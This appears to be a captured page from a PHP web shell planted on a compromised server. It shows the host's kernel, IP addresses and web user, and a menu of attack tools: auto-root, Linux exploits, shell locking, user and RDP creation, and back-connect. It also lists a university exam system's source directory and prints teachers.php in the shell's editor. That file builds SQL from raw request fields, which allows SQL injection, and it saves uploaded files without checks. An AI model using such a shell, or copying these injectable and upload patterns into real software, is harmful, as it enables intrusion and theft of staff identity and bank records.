Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.149.255.239
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
kus /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
system
[ DIR ]
drwxr-xr-x
Dispatch_ans_script_setup.php
5.84
KB
-rwxr-xr-x
Dispatch_ans_script_setup_qp.p...
5.18
KB
-rwxr-xr-x
ECHblk.php
11.09
KB
-rwxr-xr-x
FormulaEvaluate.php
14.15
KB
-rwxr-xr-x
MarkEntry-Setup.php
22.04
KB
-rwxr-xr-x
MarkEntry-SetupTEST.php
21.01
KB
-rwxr-xr-x
TAGMAY2013.pdf
331.03
KB
-rwxr-xr-x
TarkaFormatStyles.php
15.37
KB
-rwxr-xr-x
TarkaFormatStyles_old.php
3.71
KB
-rwxr-xr-x
absent_entry_setup.php
8.13
KB
-rwxr-xr-x
absent_entry_setupQp.php
6.93
KB
-rwxr-xr-x
ack_exam_app_form.php
12.08
KB
-rwxr-xr-x
ack_report.php
2.27
KB
-rwxr-xr-x
ack_rv_rt_application.php
7.58
KB
-rwxr-xr-x
ack_rv_rt_application_before_l...
6.02
KB
-rwxr-xr-x
actClass.php
6.21
KB
-rwxr-xr-x
admapprove.php
9.24
KB
-rwxr-xr-x
admission_entry_status.php
2.73
KB
-rwxr-xr-x
approve.php
23.87
KB
-rwxr-xr-x
appstatus.php
4.95
KB
-rwxr-xr-x
attendance.php
6.13
KB
-rwxr-xr-x
auto-complete.php
4.89
KB
-rwxr-xr-x
backup.php
2.73
KB
-rwxr-xr-x
backup_restore.php
8.14
KB
-rwxr-xr-x
backupandrestore.php
10.18
KB
-rwxr-xr-x
board.php
2.71
KB
-rwxr-xr-x
bundle_dispatch.php
2.84
KB
-rwxr-xr-x
bundle_rec_ack.php
5.68
KB
-rwxr-xr-x
bundlereceive.php
1.07
KB
-rwxr-xr-x
bundlestatus.php
5.3
KB
-rwxr-xr-x
cManualMailer.php
2.54
KB
-rwxr-xr-x
caccesscontext.php
1.24
KB
-rwxr-xr-x
candidate-entry.php
43.26
KB
-rwxr-xr-x
candidate-entry_without_iapr_i...
34.88
KB
-rwxr-xr-x
candidate-entrybefore yearexam...
34.55
KB
-rwxr-xr-x
candidate-entrykus.php
33.23
KB
-rwxr-xr-x
candidate-entryold.php
34.55
KB
-rwxr-xr-x
cappcontext.php
3.19
KB
-rwxr-xr-x
challan_entries.php
13.34
KB
-rwxr-xr-x
challan_preparation.php
11.57
KB
-rwxr-xr-x
cmailer.php
6.83
KB
-rwxr-xr-x
college.php
4.61
KB
-rwxr-xr-x
college_BEFORE_LOGINPOPUP.php
3.5
KB
-rwxr-xr-x
college_degree_status.php
5.65
KB
-rwxr-xr-x
connect.php
2.11
KB
-rwxr-xr-x
control.php
1006
B
-rwxr-xr-x
coutput.php
1.75
KB
-rwxr-xr-x
create_all_grid_files.php
8.57
KB
-rwxr-xr-x
create_all_grid_group_files.ph...
9.94
KB
-rwxr-xr-x
create_all_grid_group_files_ol...
9.61
KB
-rwxr-xr-x
create_all_popup_files.php
5.93
KB
-rwxr-xr-x
create_all_schema_files.php
4.31
KB
-rwxr-xr-x
create_all_views.php
16.52
KB
-rwxr-xr-x
create_html_files.php
52.03
KB
-rwxr-xr-x
create_html_files_without_tab....
44.49
KB
-rwxr-xr-x
create_module_meta_columns.php
5.16
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
datadictionary.php
3.96
KB
-rwxr-xr-x
daterange.php
4.86
KB
-rwxr-xr-x
degree.php
6.51
KB
-rwxr-xr-x
degree_old.php
6.51
KB
-rwxr-xr-x
degstudymat.php
6.45
KB
-rwxr-xr-x
degstudymatdet.php
6.3
KB
-rwxr-xr-x
display_details_in_grid.php
102.02
KB
-rwxr-xr-x
display_details_in_grid02.php
101.98
KB
-rwxr-xr-x
display_details_in_grid_custom...
2.68
KB
-rwxr-xr-x
display_details_in_grid_studta...
96.56
KB
-rwxr-xr-x
display_details_in_grid_withde...
97.45
KB
-rwxr-xr-x
doc_verify.php
7.34
KB
-rwxr-xr-x
doc_verify_12102019.php
7.02
KB
-rwxr-xr-x
download_misc_files.php
3.65
KB
-rwxr-xr-x
download_misc_files03.php
3.3
KB
-rwxr-xr-x
download_misc_files23082016.ph...
3.27
KB
-rwxr-xr-x
download_photo.php
4.45
KB
-rwxr-xr-x
download_photo_14052018.php
3.54
KB
-rwxr-xr-x
download_upload.php
3.86
KB
-rwxr-xr-x
dynamicmastersdetails.php
117.45
KB
-rwxr-xr-x
dynamicmastersdetails_one.php
119.36
KB
-rwxr-xr-x
entryexitevents.php
3.09
KB
-rwxr-xr-x
execute_query.php
2.5
KB
-rwxr-xr-x
export_import_setup.php
7.62
KB
-rwxr-xr-x
export_import_utility.php
2.67
KB
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.php
6.64
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.85
KB
-rwxr-xr-x
freeze_module_at_admin_college...
6.92
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.81
KB
-rwxr-xr-x
freeze_module_at_university_co...
7.45
KB
-rwxr-xr-x
general_report_format.php
11
KB
-rwxr-xr-x
generatePostAdmissionTicket.ph...
36.99
KB
-rwxr-xr-x
getAutoCompleteFromFrameWork.p...
2.97
KB
-rwxr-xr-x
getdata.php
34.99
KB
-rwxr-xr-x
getdata02.php
27.35
KB
-rwxr-xr-x
getdata_27122018_wait.php
29.61
KB
-rwxr-xr-x
getfeeinformation.php
6.14
KB
-rwxr-xr-x
getmoduledetails.php
23.7
KB
-rwxr-xr-x
getnumword.php
7.43
KB
-rwxr-xr-x
getreportdetails.php
3.21
KB
-rwxr-xr-x
getreportfilefordisplay.php
1.37
KB
-rwxr-xr-x
getsearchcondition.php
1.3
KB
-rwxr-xr-x
ggridmodel.php
9.27
KB
-rwxr-xr-x
golden_palm_payslip.php
12.48
KB
-rwxr-xr-x
helptext.php
5.38
KB
-rwxr-xr-x
htblk.php
6.13
KB
-rwxr-xr-x
identify_transactions.php
6.4
KB
-rwxr-xr-x
import_marks.php
4.11
KB
-rwxr-xr-x
json.php
33.22
KB
-rwxr-xr-x
login.php
9.01
KB
-rwxr-xr-x
login.php_1
3.25
KB
-rwxr-xr-x
login_BEFORE_LOGINPOPUP.php
3.25
KB
-rwxr-xr-x
login_old.php
3.15
KB
-rwxr-xr-x
message_board.php
4.67
KB
-rwxr-xr-x
messagetext.php
953
B
-rwxr-xr-x
module_setup.php
2.48
KB
-rwxr-xr-x
mregistry.php
90.42
KB
-rwxr-xr-x
mregistry03102016.php
60.65
KB
-rwxr-xr-x
mregistry_10102019.php
80.68
KB
-rwxr-xr-x
mregistry_30122016.php
65.47
KB
-rwxr-xr-x
mregistry_beforedownload.php
53.04
KB
-rwxr-xr-x
mregistryold.php
65.13
KB
-rwxr-xr-x
mrn_approval.php
9
KB
-rwxr-xr-x
pclzip.lib.php
192.53
KB
-rwxr-xr-x
photoupload.php
9.28
KB
-rwxr-xr-x
receive_rv_rt_application.php
7.65
KB
-rwxr-xr-x
report_iamarks_pending.php
12.04
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
11.84
KB
-rwxr-xr-x
report_setup.php
25.12
KB
-rwxr-xr-x
report_tool.php
73.03
KB
-rwxr-xr-x
revaluation.php
16.66
KB
-rwxr-xr-x
revaluation_oldtype.php
8.45
KB
-rwxr-xr-x
revaluation_withdegree.php
16.77
KB
-rwxr-xr-x
room_allotment.php
7.66
KB
-rwxr-xr-x
room_allotment_datewise.php
21.65
KB
-rwxr-xr-x
roomdeclaration.php
1.84
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
sendLoginPassword.php
3.09
KB
-rwxr-xr-x
serchbygrid.php
822
B
-rwxr-xr-x
servfeehead.php
3.84
KB
-rwxr-xr-x
services.php
3.47
KB
-rwxr-xr-x
sfeehead.php
5.45
KB
-rwxr-xr-x
student.php
23.34
KB
-rwxr-xr-x
student_entry.php
44.97
KB
-rwxr-xr-x
student_entry16112016.php
30.55
KB
-rwxr-xr-x
student_entry_21082017.php
30.79
KB
-rwxr-xr-x
student_entryold.php
30.33
KB
-rwxr-xr-x
studentportal_remove.php
6.18
KB
-rwxr-xr-x
subjectList_display.php
11.01
KB
-rwxr-xr-x
subject_freshExam.php
18.94
KB
-rwxr-xr-x
subjectfreez.php
12.96
KB
-rwxr-xr-x
system_utility.php
1.84
KB
-rwxr-xr-x
systemsetup.php
81.02
KB
-rwxr-xr-x
systemsetup03102016.php
75.52
KB
-rwxr-xr-x
systemsetup_up.php
77.9
KB
-rwxr-xr-x
teachers.php
15.37
KB
-rwxr-xr-x
transaction-series.php
4.86
KB
-rwxr-xr-x
updateSection.php
3.82
KB
-rwxr-xr-x
update_defined_flag.php
3.41
KB
-rwxr-xr-x
upload_studentPhoto.php
10.12
KB
-rwxr-xr-x
upload_studentPhoto22.php
8.04
KB
-rwxr-xr-x
upload_studentPhoto_23022018.p...
8.39
KB
-rwxr-xr-x
upload_studentPhoto_before_dow...
8.02
KB
-rwxr-xr-x
upload_studentPhoto_old.php
8.12
KB
-rwxr-xr-x
uploadmoduledetails.php
39.65
KB
-rwxr-xr-x
usersetup.php
24.35
KB
-rwxr-xr-x
usersetupold.php
24.14
KB
-rwxr-xr-x
usersubj_identification.php
4.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : teachers.php
<?php class teachers { function __construct($aobj_context) { session_start(); $this->aobj_context = $aobj_context; $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); } function AssignTeachDropDownMenus() { /*$get_data="select FDEPTCODE as code,FDEPTNAME as value from masdept"; $lobj_get_data = $this->aobj_context->mobj_db->GetAll($get_data); $arr['dept']=$lobj_get_data;*/ $get_data = "select FDEGNCODE as code,FDEGNDESC as value from masdegn"; $lobj_get_data = $this->aobj_context->mobj_db->GetAll($get_data); $arr['des'] = $lobj_get_data; /*$get_data="select FFACCODE as code,FFACDESC as value from masfac"; $lobj_get_data = $this->aobj_context->mobj_db->GetAll($get_data); $arr['fac']=$lobj_get_data; $get_data="select fboardcode as code,fboardname as value from masboard"; $lobj_get_data = $this->aobj_context->mobj_db->GetAll($get_data); $arr['fboard']=$lobj_get_data;*/ $arr['html'] = ''; echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success"); } function SaveTeachersEntry() { $college_code = $_SESSION['collcode']; $funivcode = $_SESSION['FUNIVCODE']; $u_id = $_SESSION['user_id']; $log_name = $_SESSION['usr']; $this->internal_code = trim($this->aobj_context->mobj_data["internal_code"]); $this->FTEACHCODE = trim($this->aobj_context->mobj_data["teacher_code"]); $this->FTEACHNAME = trim($this->aobj_context->mobj_data["teacher_name"]); $this->FGENDER = trim($this->aobj_context->mobj_data["gender"]); $this->FDEGNCODE = trim($this->aobj_context->mobj_data["designation"]); $this->FQUAL = trim($this->aobj_context->mobj_data["qualification"]); $this->FDOB = trim($this->aobj_context->mobj_data["dob"]); $this->FDOA = trim($this->aobj_context->mobj_data["doa"]); $this->FDOC = trim($this->aobj_context->mobj_data["doc"]); $this->FDOJUGC = trim($this->aobj_context->mobj_data["dojugc"]); //doc $this->FSCALE = trim($this->aobj_context->mobj_data["teacher_scale"]); $this->FFULLTIME = trim($this->aobj_context->mobj_data["fulltime"]); $this->FPERMANENT = trim($this->aobj_context->mobj_data["permanent"]); $this->FPHONE = trim($this->aobj_context->mobj_data["land_line_no"]); $this->FMOBILE = trim($this->aobj_context->mobj_data["mobile"]); $this->FEMAIL = trim($this->aobj_context->mobj_data["email_id"]); $this->FADDR1 = trim($this->aobj_context->mobj_data["addr1"]); $this->FADDR2 = trim($this->aobj_context->mobj_data["addr2"]); $this->FADDR3 = trim($this->aobj_context->mobj_data["addr3"]); $this->FADDR4 = trim($this->aobj_context->mobj_data["addr4"]); $this->FREMARKS = trim($this->aobj_context->mobj_data["remarks"]); $this->FMEMBER = trim($this->aobj_context->mobj_data["member"]); $this->FSUBCODE1 = trim($this->aobj_context->mobj_data["ss1_vavl"]); $this->status = trim($this->aobj_context->mobj_data["status"]); $this->aadharno = trim($this->aobj_context->mobj_data["aadharno"]); $this->accno = trim($this->aobj_context->mobj_data["accno"]); $this->ifsccode = trim($this->aobj_context->mobj_data["ifsccode"]); $this->bankname = trim($this->aobj_context->mobj_data["bankname"]); $this->panno = trim($this->aobj_context->mobj_data["panno"]); $this->valqp = trim($this->aobj_context->mobj_data["valqp"]); $this->valelig = trim($this->aobj_context->mobj_data["valelig"]); $this->valqp = json_decode($this->valqp, true); if ($college_code == '') { $arr = 'Please Login and try again'; echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "Failure"); return; } $query = "select * from masteach where FAADHARNO = '{$this->aadharno}' and FMOBILE = '{$this->FMOBILE}' and internal_code <> '{$this->internal_code}'"; $results = $this->aobj_context->mobj_db->GetRow($query); if ($results) { $arr = 'Aadhaar no. / mobile no. already exist against : ' . $results['FTEACHNAME'] . ' [' . $results['FTEACHCODE'] . "]"; echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "Failure"); return; } $get_max_teacher_code = "select max(FTEACHCODE) as max_teach_code from masteach"; $lobj_get_max_teacher_code = $this->aobj_context->mobj_db->GetRow($get_max_teacher_code); $max_teach_code = $lobj_get_max_teacher_code['max_teach_code']; if (empty($max_teach_code)) { if ($funivcode == '042') $max_teach_code = "70001"; else $max_teach_code = "10001"; } else { $max_teach_code = str_ireplace("T", "", $max_teach_code) + 1; $max_teach_code = str_pad($max_teach_code, 5, "0", STR_PAD_LEFT); } if ($this->internal_code == 0) { $insert = " insert into masteach ( FCOLLCODE, FTEACHCODE, FTEACHNAME, FGENDER, FDEGNCODE, FQUAL, FDOB, FDOA, FDOC, FSCALE, FFULLTIME, FPERMANENT, FADDR1, FADDR2, FADDR3, FADDR4, FPHONE, FMOBILE, FEMAIL, FMEMBER, FREMARKS,FLOGNAME,FLOGDATE,FSTATUS,FIFSCCODE,FACCNO,FBANKNAME, FPANNO,FAADHARNO,FTEMPNO, FVALELIG,FDOJUGC ) values ( '{$college_code}', '{$max_teach_code}','{$this->FTEACHNAME}','{$this->FGENDER}', '{$this->FDEGNCODE}','{$this->FQUAL}', '{$this->FDOB}','{$this->FDOA}', '{$this->FDOC}','{$this->FSCALE}','{$this->FFULLTIME}', '{$this->FPERMANENT}','{$this->FADDR1}','{$this->FADDR2}', '{$this->FADDR3}','{$this->FADDR4}','{$this->FPHONE}', '{$this->FMOBILE}','{$this->FEMAIL}', '{$this->FMEMBER}','{$this->FREMARKS}','{$log_name}',now(),'{$this->status}' ,'{$this->ifsccode}','{$this->accno}','{$this->bankname}', '{$this->panno}','{$this->aadharno}','T', '{$this->valelig}','{$this->FDOJUGC}')"; $lobj_insert = $this->aobj_context->mobj_db->Execute($insert); //$error=mysql_error(); $this->last_inserted_id = $this->aobj_context->mobj_db->Insert_ID(); if ($this->last_inserted_id > 0) { if ($this->valelig == 'Yes') { $values = ""; foreach ($this->valqp as $k => $v) { $values .= "('{$max_teach_code}', '{$v}'),"; } $values = rtrim($values, ','); $query = "insert into teachsub( fteachcode, fqpcode ) values $values"; $result = $this->aobj_context->mobj_db->Execute($query); //($query); die(); } $college_path = $this->aobj_context->main_src . "/teacher_photos/{$college_code}"; $folder_path = $this->aobj_context->main_src . "/teacher_photos/{$college_code}"; if (!file_exists($folder_path)) { mkdir($folder_path); } $file_name = basename($_FILES['student_entry_upload']['name']); $path_arr = pathinfo($_FILES['student_entry_upload']['name']); $file_ext = $path_arr['extension']; $full_file_path = $folder_path . "/{$this->last_inserted_id}_" . $file_name;; $image_path = "teacher_photos/{$college_code}/{$this->last_inserted_id}_" . $file_name;; if (isset($_FILES['student_entry_upload']['name']) && $_FILES['student_entry_upload']['name'] != '') { if (move_uploaded_file($_FILES['student_entry_upload']['tmp_name'], $full_file_path)) { $update = "update masteach set FPHOTO='{$image_path}' where internal_code={$this->last_inserted_id}"; $lobj_update = $this->aobj_context->mobj_db->Execute($update); } } $arr = 'Inserted Successfully'; echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "Success"); return; } else { $arr = 'Insertion Failed'; echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "Failure"); return; } } else { $update = "update masteach set FCOLLCODE='{$college_code}', FTEACHCODE='{$this->FTEACHCODE}', FTEACHNAME='{$this->FTEACHNAME}', FGENDER='{$this->FGENDER}', FFACCODE='{$this->FFACCODE}', FDEGNCODE='{$this->FDEGNCODE}', FQUAL='{$this->FQUAL}', FDEPTCODE='{$this->FDEPTCODE}', FDOB='{$this->FDOB}', FDOA='{$this->FDOA}', FDOC='{$this->FDOC}', FDOJUGC = '{$this->FDOJUGC}', FSCALE='{$this->FSCALE}', FFULLTIME='{$this->FFULLTIME}', FPERMANENT='{$this->FPERMANENT}', FADDR1='{$this->FADDR1}', FADDR2='{$this->FADDR2}', FADDR3='{$this->FADDR3}', FADDR4='{$this->FADDR4}', FPHONE='{$this->FPHONE}', FMOBILE='{$this->FMOBILE}', FEMAIL='{$this->FEMAIL}', FMEMBER='{$this->FMEMBER}', FREMARKS='{$this->FREMARKS}', FSTATUS = '{$this->status}', FIFSCCODE = '{$this->ifsccode}', FBANKNAME = '{$this->bankname}', FPANNO = '{$this->panno}', FACCNO = '{$this->accno}', FAADHARNO = '{$this->aadharno}', FVALELIG = '{$this->valelig}', FMODIFYDATE1 = now() where internal_code={$this->internal_code}"; // var_dump($update); $lobj_update_info = $this->aobj_context->mobj_db->Execute($update); $college_path = $this->aobj_context->main_src . "/teacher_photos/{$college_code}"; $folder_path = $this->aobj_context->main_src . "/teacher_photos/{$college_code}"; if (!file_exists($folder_path)) { mkdir($folder_path); } $file_name = basename($_FILES['student_entry_upload']['name']); $path_arr = pathinfo($_FILES['student_entry_upload']['name']); $file_ext = $path_arr['extension']; $full_file_path = $folder_path . "/{$this->last_inserted_id}_" . $file_name;; $image_path = "teacher_photos/{$college_code}/{$this->last_inserted_id}_" . $file_name;; if (isset($_FILES['student_entry_upload']['name']) && $_FILES['student_entry_upload']['name'] != '') { if (move_uploaded_file($_FILES['student_entry_upload']['tmp_name'], $full_file_path)) { $update = "update masteach set FPHOTO='{$image_path}' where internal_code={$this->internal_code}"; $lobj_update = $this->aobj_context->mobj_db->Execute($update); } } if ($lobj_update_info) { if ($this->valelig == 'Yes') { $values = ""; foreach ($this->valqp as $k => $v) { $values .= "('{$this->FTEACHCODE}', '{$v}'),"; } $values = rtrim($values, ','); $query = "delete from teachsub where fteachcode = '{$this->FTEACHCODE}'"; $result = $this->aobj_context->mobj_db->Execute($query); $query = "insert into teachsub( fteachcode, fqpcode ) values $values"; // var_dump($query); $result = $this->aobj_context->mobj_db->Execute($query); } $arr = 'Updated successfully'; echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "Success"); } else { $arr = 'Failed to update'; echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); } } } function getDegSubject() { $this->degcode = trim($this->aobj_context->mobj_data["fdeggrp"]); $college_code = $_SESSION['collcode']; $query = "select distinct fsubname from subject where fdegree in(select distinct fdegree from degree where fdeggrp = '{$this->degcode}')"; $result = $this->aobj_context->mobj_db->getAll($query); echo $this->aobj_context->mobj_output->ToJSONEnvelope($result, 0, "Success"); return; } function ViewTeacherDetails() { session_start(); $college_code = $_SESSION['collcode']; include_once($this->aobj_context->main_src . '/src/display_details_in_grid_custom.php'); $display_obj = new display_details_in_grid($this->aobj_context); $display_obj->table_cols = array('FTEACHCODE', 'FTEACHNAME', 'FGENDER', 'FSCALE', 'FFULLTIME', 'FEXP', 'FSTATUS', 'FLOGDATE'); $display_obj->display_qry = "select internal_code as id,FTEACHCODE,FTEACHNAME,FGENDER,FSCALE, FFULLTIME,concat(TIMESTAMPDIFF( YEAR, FDOC, now()), ' Yr., ', TIMESTAMPDIFF( MONTH, FDOC, now()) % 12, ' Mon.') as FEXP,FSTATUS,FLOGDATE from masteach st where FCOLLCODE='{$college_code}'"; $display_obj->DisplayDetailsInGrid(); } function EditTeachertDetailsForUpdate() { $this->internal_code = trim($this->aobj_context->mobj_data["internal_code"]); $get_data = "select FTEACHCODE, FTEACHNAME, FGENDER, FQUAL, FDEGNCODE, DATE_FORMAT(s.FDOB,'%Y') as FDOB_Year, DATE_FORMAT(s.FDOB,'%b') as FDOB_month, DATE_FORMAT(s.FDOB,'%d') as FDOB_date, DATE_FORMAT(s.FDOA,'%Y') as FDOA_Year, DATE_FORMAT(s.FDOA,'%b') as FDOA_month, DATE_FORMAT(s.FDOA,'%d') as FDOA_date, DATE_FORMAT(s.FDOC,'%Y') as FDOC_Year, DATE_FORMAT(s.FDOC,'%b') as FDOC_month, DATE_FORMAT(s.FDOC,'%d') as FDOC_date, DATE_FORMAT(s.FDOJUGC,'%Y') as dojugc_year, DATE_FORMAT(s.FDOJUGC,'%b') as dojugc_month, DATE_FORMAT(s.FDOJUGC,'%d') as dojugc_date, FSCALE, FFULLTIME, FPERMANENT, FADDR1, FADDR2, FADDR3, FADDR4, FPHONE, FMOBILE, FEMAIL, FMEMBER, FPHOTO,FSTATUS,FIFSCCODE,FBANKNAME,FPANNO,FACCNO,FAADHARNO, FREMARKS, FVALELIG from masteach s where internal_code={$this->internal_code}"; $lobj_get_data = $this->aobj_context->mobj_db->GetRow($get_data); $res['masteach'] = $lobj_get_data; $teachcode = $lobj_get_data['FTEACHCODE']; // $query = "select t.fqpcode as el // from teachsub t where t.fteachcode = '{$teachcode}' // order by t.fqpcode"; // $result = $this->aobj_context->mobj_db->GetAll($query); $query = "select m.fexamno, m.fboard, t.fqpcode, m.fsubname, fdegreerange as fdegrees from teachsub t inner join masqp m on t.fqpcode = m.fqpcode where t.fteachcode = '{$teachcode}' order by m.fboard, m.fexamno, t.fqpcode"; $result = $this->aobj_context->mobj_db->GetAll($query); $res['teachsub'] = $result; echo $this->aobj_context->mobj_output->ToJSONEnvelope($res, 0, "Success"); return; } } function AssignTeachDropDownMenus($aobj_context) { $class_obj = new teachers($aobj_context); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $class_obj->AssignTeachDropDownMenus(); } function getDegSubject($aobj_context) { $class_obj = new teachers($aobj_context); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $class_obj->getDegSubject(); } function SaveTeachersEntry($aobj_context) { $class_obj = new teachers($aobj_context); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $class_obj->SaveTeachersEntry(); } function ViewTeacherDetails($aobj_context) { $class_obj = new teachers($aobj_context); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $class_obj->ViewTeacherDetails(); } function EditTeachertDetailsForUpdate($aobj_context) { $class_obj = new teachers($aobj_context); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $class_obj->EditTeachertDetailsForUpdate(); } function DepartmentSubjectDropdown($aobj_context) { session_start(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $departmentCode = $aobj_context->mobj_data['deptCode']; $get_data = "select fsubcode as code, fsubname as value from massub where fdeptcode = '{$departmentCode}'"; $lobj_get_data = $aobj_context->mobj_db->GetAll($get_data); $arr['deptSubj'] = $lobj_get_data; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success"); } function disableTeacherRecord($aobj_context) { include_once("/JSON.php"); $json = new Services_JSON(); $lstr_param = stripslashes($aobj_context->mobj_data["delete_arr"]); $mobj_jsondata = $json->decode($lstr_param); $delete_arr_data = get_object_vars($mobj_jsondata); for ($k = 0; $k < count($delete_arr_data); $k++) { $disable_teacher_record = "delete from masteach WHERE FTEACHCODE='{$delete_arr_data[$k]->teach_code}' and FTEACHNAME='{$delete_arr_data[$k]->tech_name}' and FCOLLCODE ='{$_SESSION['collcode']}' "; $lobj_rs = $aobj_context->mobj_db->Execute($disable_teacher_record); } if ($lobj_rs) { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_rs, 0, "success"); return; } else { echo $aobj_context->mobj_output->ToJSONEnvelope($delete_arr_data, -1, "Failure"); return; } }
Close